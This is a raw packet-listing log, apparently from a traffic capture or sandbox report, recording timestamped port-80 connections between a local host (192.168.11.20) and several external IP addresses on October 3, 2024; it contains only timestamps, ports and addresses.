Oct 3, 2024 18:11:24.977315903 CEST	80	49725	5.39.10.93	192.168.11.20
Oct 3, 2024 18:11:24.977389097 CEST	80	49725	5.39.10.93	192.168.11.20
Oct 3, 2024 18:11:24.977451086 CEST	80	49725	5.39.10.93	192.168.11.20
Oct 3, 2024 18:11:24.977507114 CEST	80	49725	5.39.10.93	192.168.11.20
Oct 3, 2024 18:11:24.977617025 CEST	49725	80	192.168.11.20	5.39.10.93
Oct 3, 2024 18:11:24.977617025 CEST	49725	80	192.168.11.20	5.39.10.93
Oct 3, 2024 18:11:24.977705956 CEST	49725	80	192.168.11.20	5.39.10.93
Oct 3, 2024 18:11:25.157466888 CEST	80	49725	5.39.10.93	192.168.11.20
Oct 3, 2024 18:11:25.157592058 CEST	80	49725	5.39.10.93	192.168.11.20
Oct 3, 2024 18:11:25.157685041 CEST	80	49725	5.39.10.93	192.168.11.20
Oct 3, 2024 18:11:25.157722950 CEST	49725	80	192.168.11.20	5.39.10.93
Oct 3, 2024 18:11:25.157782078 CEST	80	49725	5.39.10.93	192.168.11.20
Oct 3, 2024 18:11:25.157818079 CEST	49725	80	192.168.11.20	5.39.10.93
Oct 3, 2024 18:11:25.157852888 CEST	80	49725	5.39.10.93	192.168.11.20
Oct 3, 2024 18:11:25.157885075 CEST	49725	80	192.168.11.20	5.39.10.93
Oct 3, 2024 18:11:25.157939911 CEST	80	49725	5.39.10.93	192.168.11.20
Oct 3, 2024 18:11:25.158006907 CEST	80	49725	5.39.10.93	192.168.11.20
Oct 3, 2024 18:11:25.158015013 CEST	49725	80	192.168.11.20	5.39.10.93
Oct 3, 2024 18:11:25.158081055 CEST	49725	80	192.168.11.20	5.39.10.93
Oct 3, 2024 18:11:25.158097029 CEST	80	49725	5.39.10.93	192.168.11.20
Oct 3, 2024 18:11:25.158139944 CEST	49725	80	192.168.11.20	5.39.10.93
Oct 3, 2024 18:11:25.158171892 CEST	80	49725	5.39.10.93	192.168.11.20
Oct 3, 2024 18:11:25.158247948 CEST	80	49725	5.39.10.93	192.168.11.20
Oct 3, 2024 18:11:25.158271074 CEST	49725	80	192.168.11.20	5.39.10.93
Oct 3, 2024 18:11:25.158317089 CEST	80	49725	5.39.10.93	192.168.11.20
Oct 3, 2024 18:11:25.158354998 CEST	49725	80	192.168.11.20	5.39.10.93
Oct 3, 2024 18:11:25.158381939 CEST	80	49725	5.39.10.93	192.168.11.20
Oct 3, 2024 18:11:25.158397913 CEST	49725	80	192.168.11.20	5.39.10.93
Oct 3, 2024 18:11:25.158462048 CEST	80	49725	5.39.10.93	192.168.11.20
Oct 3, 2024 18:11:25.158512115 CEST	49725	80	192.168.11.20	5.39.10.93
Oct 3, 2024 18:11:25.158530951 CEST	80	49725	5.39.10.93	192.168.11.20
Oct 3, 2024 18:11:25.158575058 CEST	49725	80	192.168.11.20	5.39.10.93
Oct 3, 2024 18:11:25.158617020 CEST	80	49725	5.39.10.93	192.168.11.20
Oct 3, 2024 18:11:25.158683062 CEST	80	49725	5.39.10.93	192.168.11.20
Oct 3, 2024 18:11:25.158695936 CEST	49725	80	192.168.11.20	5.39.10.93
Oct 3, 2024 18:11:25.158757925 CEST	80	49725	5.39.10.93	192.168.11.20
Oct 3, 2024 18:11:25.158832073 CEST	80	49725	5.39.10.93	192.168.11.20
Oct 3, 2024 18:11:25.158855915 CEST	49725	80	192.168.11.20	5.39.10.93
Oct 3, 2024 18:11:25.158855915 CEST	49725	80	192.168.11.20	5.39.10.93
Oct 3, 2024 18:11:25.158899069 CEST	80	49725	5.39.10.93	192.168.11.20
Oct 3, 2024 18:11:25.159111023 CEST	49725	80	192.168.11.20	5.39.10.93
Oct 3, 2024 18:11:25.159202099 CEST	49725	80	192.168.11.20	5.39.10.93
Oct 3, 2024 18:11:25.339027882 CEST	80	49725	5.39.10.93	192.168.11.20
Oct 3, 2024 18:11:25.339155912 CEST	80	49725	5.39.10.93	192.168.11.20
Oct 3, 2024 18:11:25.339247942 CEST	80	49725	5.39.10.93	192.168.11.20
Oct 3, 2024 18:11:25.339337111 CEST	80	49725	5.39.10.93	192.168.11.20
Oct 3, 2024 18:11:25.339404106 CEST	80	49725	5.39.10.93	192.168.11.20
Oct 3, 2024 18:11:25.339413881 CEST	49725	80	192.168.11.20	5.39.10.93
Oct 3, 2024 18:11:25.339498043 CEST	80	49725	5.39.10.93	192.168.11.20
Oct 3, 2024 18:11:25.339523077 CEST	49725	80	192.168.11.20	5.39.10.93
Oct 3, 2024 18:11:25.339574099 CEST	80	49725	5.39.10.93	192.168.11.20
Oct 3, 2024 18:11:25.339660883 CEST	80	49725	5.39.10.93	192.168.11.20
Oct 3, 2024 18:11:25.339732885 CEST	80	49725	5.39.10.93	192.168.11.20
Oct 3, 2024 18:11:25.339782000 CEST	49725	80	192.168.11.20	5.39.10.93
Oct 3, 2024 18:11:25.339808941 CEST	80	49725	5.39.10.93	192.168.11.20
Oct 3, 2024 18:11:25.339847088 CEST	49725	80	192.168.11.20	5.39.10.93
Oct 3, 2024 18:11:25.339881897 CEST	80	49725	5.39.10.93	192.168.11.20
Oct 3, 2024 18:11:25.339951038 CEST	80	49725	5.39.10.93	192.168.11.20
Oct 3, 2024 18:11:25.340049028 CEST	80	49725	5.39.10.93	192.168.11.20
Oct 3, 2024 18:11:25.340097904 CEST	49725	80	192.168.11.20	5.39.10.93
Oct 3, 2024 18:11:25.340115070 CEST	80	49725	5.39.10.93	192.168.11.20
Oct 3, 2024 18:11:25.340238094 CEST	80	49725	5.39.10.93	192.168.11.20
Oct 3, 2024 18:11:25.340290070 CEST	49725	80	192.168.11.20	5.39.10.93
Oct 3, 2024 18:11:25.340290070 CEST	49725	80	192.168.11.20	5.39.10.93
Oct 3, 2024 18:11:25.340321064 CEST	80	49725	5.39.10.93	192.168.11.20
Oct 3, 2024 18:11:25.340392113 CEST	80	49725	5.39.10.93	192.168.11.20
Oct 3, 2024 18:11:25.340456963 CEST	80	49725	5.39.10.93	192.168.11.20
Oct 3, 2024 18:11:25.340539932 CEST	80	49725	5.39.10.93	192.168.11.20
Oct 3, 2024 18:11:25.340548992 CEST	49725	80	192.168.11.20	5.39.10.93
Oct 3, 2024 18:11:25.340605974 CEST	80	49725	5.39.10.93	192.168.11.20
Oct 3, 2024 18:11:25.340686083 CEST	80	49725	5.39.10.93	192.168.11.20
Oct 3, 2024 18:11:25.340713024 CEST	49725	80	192.168.11.20	5.39.10.93
Oct 3, 2024 18:11:25.340753078 CEST	80	49725	5.39.10.93	192.168.11.20
Oct 3, 2024 18:11:25.340815067 CEST	49725	80	192.168.11.20	5.39.10.93
Oct 3, 2024 18:11:25.340828896 CEST	80	49725	5.39.10.93	192.168.11.20
Oct 3, 2024 18:11:25.340900898 CEST	80	49725	5.39.10.93	192.168.11.20
Oct 3, 2024 18:11:25.340967894 CEST	80	49725	5.39.10.93	192.168.11.20
Oct 3, 2024 18:11:25.340986967 CEST	49725	80	192.168.11.20	5.39.10.93
Oct 3, 2024 18:11:25.341176033 CEST	49725	80	192.168.11.20	5.39.10.93
Oct 3, 2024 18:11:25.520430088 CEST	80	49725	5.39.10.93	192.168.11.20
Oct 3, 2024 18:11:25.520452023 CEST	80	49725	5.39.10.93	192.168.11.20
Oct 3, 2024 18:11:25.520472050 CEST	80	49725	5.39.10.93	192.168.11.20
Oct 3, 2024 18:11:25.520490885 CEST	80	49725	5.39.10.93	192.168.11.20
Oct 3, 2024 18:11:25.520509958 CEST	80	49725	5.39.10.93	192.168.11.20
Oct 3, 2024 18:11:25.520616055 CEST	80	49725	5.39.10.93	192.168.11.20
Oct 3, 2024 18:11:25.520634890 CEST	80	49725	5.39.10.93	192.168.11.20
Oct 3, 2024 18:11:25.520740986 CEST	80	49725	5.39.10.93	192.168.11.20
Oct 3, 2024 18:11:25.520761013 CEST	80	49725	5.39.10.93	192.168.11.20
Oct 3, 2024 18:11:25.520864964 CEST	80	49725	5.39.10.93	192.168.11.20
Oct 3, 2024 18:11:25.520884037 CEST	80	49725	5.39.10.93	192.168.11.20
Oct 3, 2024 18:11:25.520903111 CEST	80	49725	5.39.10.93	192.168.11.20
Oct 3, 2024 18:11:25.520991087 CEST	80	49725	5.39.10.93	192.168.11.20
Oct 3, 2024 18:11:25.521011114 CEST	80	49725	5.39.10.93	192.168.11.20
Oct 3, 2024 18:11:25.521029949 CEST	80	49725	5.39.10.93	192.168.11.20
Oct 3, 2024 18:11:25.521121025 CEST	80	49725	5.39.10.93	192.168.11.20
Oct 3, 2024 18:11:25.521140099 CEST	80	49725	5.39.10.93	192.168.11.20
Oct 3, 2024 18:11:25.521158934 CEST	80	49725	5.39.10.93	192.168.11.20
Oct 3, 2024 18:11:25.521172047 CEST	49725	80	192.168.11.20	5.39.10.93
Oct 3, 2024 18:11:25.521177053 CEST	80	49725	5.39.10.93	192.168.11.20
Oct 3, 2024 18:11:25.521202087 CEST	80	49725	5.39.10.93	192.168.11.20
Oct 3, 2024 18:11:25.521220922 CEST	80	49725	5.39.10.93	192.168.11.20
Oct 3, 2024 18:11:25.521239996 CEST	80	49725	5.39.10.93	192.168.11.20
Oct 3, 2024 18:11:25.521256924 CEST	49725	80	192.168.11.20	5.39.10.93
Oct 3, 2024 18:11:25.521290064 CEST	80	49725	5.39.10.93	192.168.11.20
Oct 3, 2024 18:11:25.521441936 CEST	49725	80	192.168.11.20	5.39.10.93
Oct 3, 2024 18:11:25.521476030 CEST	80	49725	5.39.10.93	192.168.11.20
Oct 3, 2024 18:11:25.521495104 CEST	80	49725	5.39.10.93	192.168.11.20
Oct 3, 2024 18:11:25.521548033 CEST	80	49725	5.39.10.93	192.168.11.20
Oct 3, 2024 18:11:25.521567106 CEST	80	49725	5.39.10.93	192.168.11.20
Oct 3, 2024 18:11:25.521584988 CEST	80	49725	5.39.10.93	192.168.11.20
Oct 3, 2024 18:11:25.521604061 CEST	80	49725	5.39.10.93	192.168.11.20
Oct 3, 2024 18:11:25.521681070 CEST	49725	80	192.168.11.20	5.39.10.93
Oct 3, 2024 18:11:25.521784067 CEST	49725	80	192.168.11.20	5.39.10.93
Oct 3, 2024 18:11:25.527180910 CEST	49725	80	192.168.11.20	5.39.10.93
Oct 3, 2024 18:11:25.706466913 CEST	80	49725	5.39.10.93	192.168.11.20
Oct 3, 2024 18:11:40.733248949 CEST	49726	80	192.168.11.20	162.250.125.14
Oct 3, 2024 18:11:40.831007004 CEST	80	49726	162.250.125.14	192.168.11.20
Oct 3, 2024 18:11:40.831168890 CEST	49726	80	192.168.11.20	162.250.125.14
Oct 3, 2024 18:11:40.839148045 CEST	49726	80	192.168.11.20	162.250.125.14
Oct 3, 2024 18:11:40.935916901 CEST	80	49726	162.250.125.14	192.168.11.20
Oct 3, 2024 18:11:41.401602030 CEST	80	49726	162.250.125.14	192.168.11.20
Oct 3, 2024 18:11:41.401725054 CEST	80	49726	162.250.125.14	192.168.11.20
Oct 3, 2024 18:11:41.401787043 CEST	80	49726	162.250.125.14	192.168.11.20
Oct 3, 2024 18:11:41.401849031 CEST	80	49726	162.250.125.14	192.168.11.20
Oct 3, 2024 18:11:41.401906967 CEST	80	49726	162.250.125.14	192.168.11.20
Oct 3, 2024 18:11:41.401942968 CEST	49726	80	192.168.11.20	162.250.125.14
Oct 3, 2024 18:11:41.401968002 CEST	80	49726	162.250.125.14	192.168.11.20
Oct 3, 2024 18:11:41.402035952 CEST	80	49726	162.250.125.14	192.168.11.20
Oct 3, 2024 18:11:41.402098894 CEST	80	49726	162.250.125.14	192.168.11.20
Oct 3, 2024 18:11:41.402129889 CEST	49726	80	192.168.11.20	162.250.125.14
Oct 3, 2024 18:11:41.402162075 CEST	80	49726	162.250.125.14	192.168.11.20
Oct 3, 2024 18:11:41.402187109 CEST	49726	80	192.168.11.20	162.250.125.14
Oct 3, 2024 18:11:41.402230024 CEST	80	49726	162.250.125.14	192.168.11.20
Oct 3, 2024 18:11:41.402302027 CEST	49726	80	192.168.11.20	162.250.125.14
Oct 3, 2024 18:11:41.402452946 CEST	49726	80	192.168.11.20	162.250.125.14
Oct 3, 2024 18:11:41.501596928 CEST	80	49726	162.250.125.14	192.168.11.20
Oct 3, 2024 18:11:41.501681089 CEST	80	49726	162.250.125.14	192.168.11.20
Oct 3, 2024 18:11:41.501743078 CEST	80	49726	162.250.125.14	192.168.11.20
Oct 3, 2024 18:11:41.501939058 CEST	49726	80	192.168.11.20	162.250.125.14
Oct 3, 2024 18:11:41.502008915 CEST	49726	80	192.168.11.20	162.250.125.14
Oct 3, 2024 18:11:42.342633009 CEST	49726	80	192.168.11.20	162.250.125.14
Oct 3, 2024 18:11:43.359847069 CEST	49727	80	192.168.11.20	162.250.125.14
Oct 3, 2024 18:11:43.455786943 CEST	80	49727	162.250.125.14	192.168.11.20
Oct 3, 2024 18:11:43.456062078 CEST	49727	80	192.168.11.20	162.250.125.14
Oct 3, 2024 18:11:43.463551044 CEST	49727	80	192.168.11.20	162.250.125.14
Oct 3, 2024 18:11:43.560564041 CEST	80	49727	162.250.125.14	192.168.11.20
Oct 3, 2024 18:11:44.034214020 CEST	80	49727	162.250.125.14	192.168.11.20
Oct 3, 2024 18:11:44.034295082 CEST	80	49727	162.250.125.14	192.168.11.20
Oct 3, 2024 18:11:44.034353018 CEST	80	49727	162.250.125.14	192.168.11.20
Oct 3, 2024 18:11:44.034410954 CEST	80	49727	162.250.125.14	192.168.11.20
Oct 3, 2024 18:11:44.034468889 CEST	80	49727	162.250.125.14	192.168.11.20
Oct 3, 2024 18:11:44.034513950 CEST	49727	80	192.168.11.20	162.250.125.14
Oct 3, 2024 18:11:44.034569025 CEST	80	49727	162.250.125.14	192.168.11.20
Oct 3, 2024 18:11:44.034629107 CEST	80	49727	162.250.125.14	192.168.11.20
Oct 3, 2024 18:11:44.034676075 CEST	49727	80	192.168.11.20	162.250.125.14
Oct 3, 2024 18:11:44.034708977 CEST	80	49727	162.250.125.14	192.168.11.20
Oct 3, 2024 18:11:44.034768105 CEST	80	49727	162.250.125.14	192.168.11.20
Oct 3, 2024 18:11:44.034825087 CEST	80	49727	162.250.125.14	192.168.11.20
Oct 3, 2024 18:11:44.035029888 CEST	49727	80	192.168.11.20	162.250.125.14
Oct 3, 2024 18:11:44.130542994 CEST	80	49727	162.250.125.14	192.168.11.20
Oct 3, 2024 18:11:44.130626917 CEST	80	49727	162.250.125.14	192.168.11.20
Oct 3, 2024 18:11:44.130693913 CEST	80	49727	162.250.125.14	192.168.11.20
Oct 3, 2024 18:11:44.130822897 CEST	49727	80	192.168.11.20	162.250.125.14
Oct 3, 2024 18:11:44.130824089 CEST	49727	80	192.168.11.20	162.250.125.14
Oct 3, 2024 18:11:44.966995955 CEST	49727	80	192.168.11.20	162.250.125.14
Oct 3, 2024 18:11:45.984158993 CEST	49728	80	192.168.11.20	162.250.125.14
Oct 3, 2024 18:11:46.080261946 CEST	80	49728	162.250.125.14	192.168.11.20
Oct 3, 2024 18:11:46.080581903 CEST	49728	80	192.168.11.20	162.250.125.14
Oct 3, 2024 18:11:46.087979078 CEST	49728	80	192.168.11.20	162.250.125.14
Oct 3, 2024 18:11:46.183307886 CEST	80	49728	162.250.125.14	192.168.11.20
Oct 3, 2024 18:11:46.184051037 CEST	80	49728	162.250.125.14	192.168.11.20
Oct 3, 2024 18:11:46.599102020 CEST	80	49728	162.250.125.14	192.168.11.20
Oct 3, 2024 18:11:46.599179983 CEST	80	49728	162.250.125.14	192.168.11.20
Oct 3, 2024 18:11:46.599241018 CEST	80	49728	162.250.125.14	192.168.11.20
Oct 3, 2024 18:11:46.599297047 CEST	80	49728	162.250.125.14	192.168.11.20
Oct 3, 2024 18:11:46.599351883 CEST	80	49728	162.250.125.14	192.168.11.20
Oct 3, 2024 18:11:46.599386930 CEST	49728	80	192.168.11.20	162.250.125.14
Oct 3, 2024 18:11:46.599406958 CEST	80	49728	162.250.125.14	192.168.11.20
Oct 3, 2024 18:11:46.599443913 CEST	49728	80	192.168.11.20	162.250.125.14
Oct 3, 2024 18:11:46.599462986 CEST	80	49728	162.250.125.14	192.168.11.20
Oct 3, 2024 18:11:46.599519968 CEST	80	49728	162.250.125.14	192.168.11.20
Oct 3, 2024 18:11:46.599575043 CEST	80	49728	162.250.125.14	192.168.11.20
Oct 3, 2024 18:11:46.599580050 CEST	49728	80	192.168.11.20	162.250.125.14
Oct 3, 2024 18:11:46.599652052 CEST	80	49728	162.250.125.14	192.168.11.20
Oct 3, 2024 18:11:46.599776983 CEST	49728	80	192.168.11.20	162.250.125.14
Oct 3, 2024 18:11:46.600348949 CEST	49728	80	192.168.11.20	162.250.125.14
Oct 3, 2024 18:11:46.694994926 CEST	80	49728	162.250.125.14	192.168.11.20
Oct 3, 2024 18:11:46.695107937 CEST	80	49728	162.250.125.14	192.168.11.20
Oct 3, 2024 18:11:46.695185900 CEST	80	49728	162.250.125.14	192.168.11.20
Oct 3, 2024 18:11:46.695488930 CEST	49728	80	192.168.11.20	162.250.125.14
Oct 3, 2024 18:11:46.695488930 CEST	49728	80	192.168.11.20	162.250.125.14
Oct 3, 2024 18:11:47.591423035 CEST	49728	80	192.168.11.20	162.250.125.14
Oct 3, 2024 18:11:48.608728886 CEST	49729	80	192.168.11.20	162.250.125.14
Oct 3, 2024 18:11:48.704550028 CEST	80	49729	162.250.125.14	192.168.11.20
Oct 3, 2024 18:11:48.704757929 CEST	49729	80	192.168.11.20	162.250.125.14
Oct 3, 2024 18:11:48.709822893 CEST	49729	80	192.168.11.20	162.250.125.14
Oct 3, 2024 18:11:48.806479931 CEST	80	49729	162.250.125.14	192.168.11.20
Oct 3, 2024 18:11:49.138044119 CEST	80	49729	162.250.125.14	192.168.11.20
Oct 3, 2024 18:11:49.138465881 CEST	80	49729	162.250.125.14	192.168.11.20
Oct 3, 2024 18:11:49.138655901 CEST	49729	80	192.168.11.20	162.250.125.14
Oct 3, 2024 18:11:49.140109062 CEST	49729	80	192.168.11.20	162.250.125.14
Oct 3, 2024 18:11:49.236390114 CEST	80	49729	162.250.125.14	192.168.11.20
Oct 3, 2024 18:11:54.259402990 CEST	49730	80	192.168.11.20	156.227.17.86
Oct 3, 2024 18:11:54.555840015 CEST	80	49730	156.227.17.86	192.168.11.20
Oct 3, 2024 18:11:54.556088924 CEST	49730	80	192.168.11.20	156.227.17.86
Oct 3, 2024 18:11:54.563585043 CEST	49730	80	192.168.11.20	156.227.17.86
Oct 3, 2024 18:11:54.860284090 CEST	80	49730	156.227.17.86	192.168.11.20
Oct 3, 2024 18:11:54.873414993 CEST	80	49730	156.227.17.86	192.168.11.20
Oct 3, 2024 18:11:54.873481035 CEST	80	49730	156.227.17.86	192.168.11.20
Oct 3, 2024 18:11:54.873713017 CEST	49730	80	192.168.11.20	156.227.17.86
Oct 3, 2024 18:11:56.073911905 CEST	49730	80	192.168.11.20	156.227.17.86
Oct 3, 2024 18:11:57.091728926 CEST	49731	80	192.168.11.20	156.227.17.86
Oct 3, 2024 18:11:57.392230034 CEST	80	49731	156.227.17.86	192.168.11.20
Oct 3, 2024 18:11:57.392452002 CEST	49731	80	192.168.11.20	156.227.17.86
Oct 3, 2024 18:11:57.399815083 CEST	49731	80	192.168.11.20	156.227.17.86
Oct 3, 2024 18:11:57.700007915 CEST	80	49731	156.227.17.86	192.168.11.20
Oct 3, 2024 18:11:57.719355106 CEST	80	49731	156.227.17.86	192.168.11.20
Oct 3, 2024 18:11:57.719428062 CEST	80	49731	156.227.17.86	192.168.11.20
Oct 3, 2024 18:11:57.719656944 CEST	49731	80	192.168.11.20	156.227.17.86
Oct 3, 2024 18:11:58.901376009 CEST	49731	80	192.168.11.20	156.227.17.86
Oct 3, 2024 18:11:59.918781996 CEST	49732	80	192.168.11.20	156.227.17.86
Oct 3, 2024 18:12:00.217602015 CEST	80	49732	156.227.17.86	192.168.11.20
Oct 3, 2024 18:12:00.217858076 CEST	49732	80	192.168.11.20	156.227.17.86
Oct 3, 2024 18:12:00.225676060 CEST	49732	80	192.168.11.20	156.227.17.86
Oct 3, 2024 18:12:00.524204016 CEST	80	49732	156.227.17.86	192.168.11.20
Oct 3, 2024 18:12:00.524285078 CEST	80	49732	156.227.17.86	192.168.11.20
Oct 3, 2024 18:12:00.524333000 CEST	80	49732	156.227.17.86	192.168.11.20
Oct 3, 2024 18:12:00.524414062 CEST	80	49732	156.227.17.86	192.168.11.20
Oct 3, 2024 18:12:00.538116932 CEST	80	49732	156.227.17.86	192.168.11.20
Oct 3, 2024 18:12:00.538189888 CEST	80	49732	156.227.17.86	192.168.11.20
Oct 3, 2024 18:12:00.538501978 CEST	49732	80	192.168.11.20	156.227.17.86
Oct 3, 2024 18:12:01.728909969 CEST	49732	80	192.168.11.20	156.227.17.86
Oct 3, 2024 18:12:02.746774912 CEST	49733	80	192.168.11.20	156.227.17.86
Oct 3, 2024 18:12:03.049206972 CEST	80	49733	156.227.17.86	192.168.11.20
Oct 3, 2024 18:12:03.049475908 CEST	49733	80	192.168.11.20	156.227.17.86
Oct 3, 2024 18:12:03.054605007 CEST	49733	80	192.168.11.20	156.227.17.86
Oct 3, 2024 18:12:03.356774092 CEST	80	49733	156.227.17.86	192.168.11.20
Oct 3, 2024 18:12:03.369936943 CEST	80	49733	156.227.17.86	192.168.11.20
Oct 3, 2024 18:12:03.370013952 CEST	80	49733	156.227.17.86	192.168.11.20
Oct 3, 2024 18:12:03.370286942 CEST	49733	80	192.168.11.20	156.227.17.86
Oct 3, 2024 18:12:03.372060061 CEST	49733	80	192.168.11.20	156.227.17.86
Oct 3, 2024 18:12:03.674369097 CEST	80	49733	156.227.17.86	192.168.11.20
Oct 3, 2024 18:12:08.659670115 CEST	49734	80	192.168.11.20	64.225.91.73
Oct 3, 2024 18:12:08.817526102 CEST	80	49734	64.225.91.73	192.168.11.20
Oct 3, 2024 18:12:08.817861080 CEST	49734	80	192.168.11.20	64.225.91.73
Oct 3, 2024 18:12:08.825699091 CEST	49734	80	192.168.11.20	64.225.91.73
Oct 3, 2024 18:12:08.984404087 CEST	80	49734	64.225.91.73	192.168.11.20
Oct 3, 2024 18:12:08.986848116 CEST	80	49734	64.225.91.73	192.168.11.20
Oct 3, 2024 18:12:08.986932993 CEST	80	49734	64.225.91.73	192.168.11.20
Oct 3, 2024 18:12:08.987302065 CEST	49734	80	192.168.11.20	64.225.91.73
Oct 3, 2024 18:12:10.336370945 CEST	49734	80	192.168.11.20	64.225.91.73
Oct 3, 2024 18:12:11.353740931 CEST	49735	80	192.168.11.20	64.225.91.73
Oct 3, 2024 18:12:11.511303902 CEST	80	49735	64.225.91.73	192.168.11.20
Oct 3, 2024 18:12:11.511653900 CEST	49735	80	192.168.11.20	64.225.91.73
Oct 3, 2024 18:12:11.519035101 CEST	49735	80	192.168.11.20	64.225.91.73
Oct 3, 2024 18:12:11.676542997 CEST	80	49735	64.225.91.73	192.168.11.20
Oct 3, 2024 18:12:11.677853107 CEST	80	49735	64.225.91.73	192.168.11.20
Oct 3, 2024 18:12:11.677930117 CEST	80	49735	64.225.91.73	192.168.11.20
Oct 3, 2024 18:12:11.678097010 CEST	49735	80	192.168.11.20	64.225.91.73
Oct 3, 2024 18:12:13.023269892 CEST	49735	80	192.168.11.20	64.225.91.73
Oct 3, 2024 18:12:14.040782928 CEST	49736	80	192.168.11.20	64.225.91.73
Oct 3, 2024 18:12:14.199119091 CEST	80	49736	64.225.91.73	192.168.11.20
Oct 3, 2024 18:12:14.199426889 CEST	49736	80	192.168.11.20	64.225.91.73
Oct 3, 2024 18:12:14.207335949 CEST	49736	80	192.168.11.20	64.225.91.73
Oct 3, 2024 18:12:14.365380049 CEST	80	49736	64.225.91.73	192.168.11.20
Oct 3, 2024 18:12:14.365441084 CEST	80	49736	64.225.91.73	192.168.11.20
Oct 3, 2024 18:12:14.365695953 CEST	80	49736	64.225.91.73	192.168.11.20
Oct 3, 2024 18:12:14.365753889 CEST	80	49736	64.225.91.73	192.168.11.20
Oct 3, 2024 18:12:14.366513968 CEST	80	49736	64.225.91.73	192.168.11.20
Oct 3, 2024 18:12:14.366579056 CEST	80	49736	64.225.91.73	192.168.11.20
Oct 3, 2024 18:12:14.366808891 CEST	49736	80	192.168.11.20	64.225.91.73
Oct 3, 2024 18:12:15.710247993 CEST	49736	80	192.168.11.20	64.225.91.73
Oct 3, 2024 18:12:16.727613926 CEST	49737	80	192.168.11.20	64.225.91.73
Oct 3, 2024 18:12:16.886697054 CEST	80	49737	64.225.91.73	192.168.11.20
Oct 3, 2024 18:12:16.887026072 CEST	49737	80	192.168.11.20	64.225.91.73
Oct 3, 2024 18:12:16.892107964 CEST	49737	80	192.168.11.20	64.225.91.73
Oct 3, 2024 18:12:17.051028967 CEST	80	49737	64.225.91.73	192.168.11.20
Oct 3, 2024 18:12:17.052107096 CEST	80	49737	64.225.91.73	192.168.11.20
Oct 3, 2024 18:12:17.052196980 CEST	80	49737	64.225.91.73	192.168.11.20
Oct 3, 2024 18:12:17.052390099 CEST	49737	80	192.168.11.20	64.225.91.73
Oct 3, 2024 18:12:17.055819035 CEST	49737	80	192.168.11.20	64.225.91.73
Oct 3, 2024 18:12:17.214622021 CEST	80	49737	64.225.91.73	192.168.11.20
Oct 3, 2024 18:12:22.199635029 CEST	49738	80	192.168.11.20	209.74.64.189
Oct 3, 2024 18:12:22.361265898 CEST	80	49738	209.74.64.189	192.168.11.20
Oct 3, 2024 18:12:22.361470938 CEST	49738	80	192.168.11.20	209.74.64.189
Oct 3, 2024 18:12:22.371114016 CEST	49738	80	192.168.11.20	209.74.64.189
Oct 3, 2024 18:12:22.532527924 CEST	80	49738	209.74.64.189	192.168.11.20
Oct 3, 2024 18:12:22.538602114 CEST	80	49738	209.74.64.189	192.168.11.20
Oct 3, 2024 18:12:22.538861036 CEST	80	49738	209.74.64.189	192.168.11.20
Oct 3, 2024 18:12:22.539028883 CEST	49738	80	192.168.11.20	209.74.64.189
Oct 3, 2024 18:12:23.880172014 CEST	49738	80	192.168.11.20	209.74.64.189
Oct 3, 2024 18:12:24.897697926 CEST	49739	80	192.168.11.20	209.74.64.189
Oct 3, 2024 18:12:25.058732986 CEST	80	49739	209.74.64.189	192.168.11.20
Oct 3, 2024 18:12:25.058900118 CEST	49739	80	192.168.11.20	209.74.64.189
Oct 3, 2024 18:12:25.069286108 CEST	49739	80	192.168.11.20	209.74.64.189
Oct 3, 2024 18:12:25.230767965 CEST	80	49739	209.74.64.189	192.168.11.20
Oct 3, 2024 18:12:25.235342026 CEST	80	49739	209.74.64.189	192.168.11.20
Oct 3, 2024 18:12:25.235363007 CEST	80	49739	209.74.64.189	192.168.11.20
Oct 3, 2024 18:12:25.235502958 CEST	49739	80	192.168.11.20	209.74.64.189
Oct 3, 2024 18:12:25.606375933 CEST	80	49739	209.74.64.189	192.168.11.20
Oct 3, 2024 18:12:25.606570959 CEST	49739	80	192.168.11.20	209.74.64.189
Oct 3, 2024 18:12:26.583151102 CEST	49739	80	192.168.11.20	209.74.64.189
Oct 3, 2024 18:12:27.602653980 CEST	49740	80	192.168.11.20	209.74.64.189
Oct 3, 2024 18:12:27.763941050 CEST	80	49740	209.74.64.189	192.168.11.20
Oct 3, 2024 18:12:27.764118910 CEST	49740	80	192.168.11.20	209.74.64.189
Oct 3, 2024 18:12:27.774251938 CEST	49740	80	192.168.11.20	209.74.64.189
Oct 3, 2024 18:12:27.774374962 CEST	49740	80	192.168.11.20	209.74.64.189
Oct 3, 2024 18:12:27.935363054 CEST	80	49740	209.74.64.189	192.168.11.20
Oct 3, 2024 18:12:27.935374975 CEST	80	49740	209.74.64.189	192.168.11.20
Oct 3, 2024 18:12:27.935405016 CEST	80	49740	209.74.64.189	192.168.11.20
Oct 3, 2024 18:12:27.935414076 CEST	80	49740	209.74.64.189	192.168.11.20
Oct 3, 2024 18:12:27.935436010 CEST	80	49740	209.74.64.189	192.168.11.20
Oct 3, 2024 18:12:27.943320990 CEST	80	49740	209.74.64.189	192.168.11.20
Oct 3, 2024 18:12:27.943335056 CEST	80	49740	209.74.64.189	192.168.11.20
Oct 3, 2024 18:12:27.943489075 CEST	49740	80	192.168.11.20	209.74.64.189
Oct 3, 2024 18:12:29.285235882 CEST	49740	80	192.168.11.20	209.74.64.189
Oct 3, 2024 18:12:30.302870989 CEST	49741	80	192.168.11.20	209.74.64.189
Oct 3, 2024 18:12:30.465471029 CEST	80	49741	209.74.64.189	192.168.11.20
Oct 3, 2024 18:12:30.465667009 CEST	49741	80	192.168.11.20	209.74.64.189
Oct 3, 2024 18:12:30.471457958 CEST	49741	80	192.168.11.20	209.74.64.189
Oct 3, 2024 18:12:30.632338047 CEST	80	49741	209.74.64.189	192.168.11.20
Oct 3, 2024 18:12:30.638365030 CEST	80	49741	209.74.64.189	192.168.11.20
Oct 3, 2024 18:12:30.638376951 CEST	80	49741	209.74.64.189	192.168.11.20
Oct 3, 2024 18:12:30.638673067 CEST	49741	80	192.168.11.20	209.74.64.189
Oct 3, 2024 18:12:30.640459061 CEST	49741	80	192.168.11.20	209.74.64.189
Oct 3, 2024 18:12:30.801090002 CEST	80	49741	209.74.64.189	192.168.11.20
Oct 3, 2024 18:12:36.211041927 CEST	49742	80	192.168.11.20	85.159.66.93
Oct 3, 2024 18:12:36.422482014 CEST	80	49742	85.159.66.93	192.168.11.20
Oct 3, 2024 18:12:36.422646046 CEST	49742	80	192.168.11.20	85.159.66.93
Oct 3, 2024 18:12:36.430222034 CEST	49742	80	192.168.11.20	85.159.66.93
Oct 3, 2024 18:12:36.681893110 CEST	80	49742	85.159.66.93	192.168.11.20
Oct 3, 2024 18:12:37.939553022 CEST	49742	80	192.168.11.20	85.159.66.93
Oct 3, 2024 18:12:38.191920996 CEST	80	49742	85.159.66.93	192.168.11.20
